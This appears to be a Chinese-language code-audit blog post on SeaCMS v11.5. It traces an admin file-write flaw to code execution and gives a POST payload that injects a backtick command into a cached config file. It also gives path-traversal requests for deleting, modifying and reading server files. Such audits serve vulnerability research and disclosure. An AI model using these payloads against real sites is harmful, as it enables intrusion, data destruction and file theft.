seacmsv11.5代码审计

seacmsv11.5代码审计

三月 25, 2022

seacmsv11.5后台任意文件写入

admin/admin_config.php

img

在140行有文件写入的地方,查看这两个参数是否可控:

$configfile参数为PHP文件:

img

$configstr参数由post参数得来,

1
2
3
4
5
else

$v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(${$k}))),500);

//将$v中存在的单引号过滤掉,会在单引号前面加上反斜杠,会将注释//过滤掉,添加//。

img

参数可控,可写入,导致代码执行。

因此当我们构造传入post数据,变量名是以edit__开头,在值中传入我们构造的恶意代码,即可触发代码执行。

img

再往上看:

img

需要满足这个if语句中的条件,代码才能往下执行。

因此构造传入:

1
edit___cfg_df_style=1&edit___cfg_df_html=1&edit___cfg_ads_dir=1&edit___cfg_upload_dir=1&edit___cfg_backup_dir=1

任意构造发现是可以写入的:

img

构造闭合:

1
2
3
POST /uam7rw/admin_config.php/?dopost=save

edit___cfg_df_style=1&edit___cfg_df_html=1&edit___cfg_ads_dir=1&edit___cfg_upload_dir=1&edit___cfg_backup_dir=1&edit___s;`calc`?>=a

img

访问data/config.cache.inc.php,触发代码:

img

uam7rw/admin_files.php—任意文件删除

img

当$action为del时,发现一个unlink函数,追溯$filedir看看参数是否可控:

1
if(substr(strtolower($filedir),0,$dirlen)!=$dirTemplate)

$dirTemplate:

img

但是这里可以尝试使用../进行路径穿越,因此可以造成任意文件的读取和删除:

路径穿越:

img

利用路径穿越造成文件的删除:

img

uam7rw/admin_files.php

img

include文件包含,通过前面的路径穿越可以修改文件,修改admin下的/templets/admin_files.htm文件:

img

达到命令执行:

img

在admin_notify.php等文件中存在多处文件写入的地方,都是参数未进行过滤,构造闭合写入即可。

admin/admin_safe.php—任意文件读取

img

$file参数不存在过滤,可以使用前面的路径穿越进行任意文件的读取,通过file_get_contents函数进行读取:

1
2
3
payload:

admin_safe.php?action=download&file=../diy.php

200状态码执行成功。

img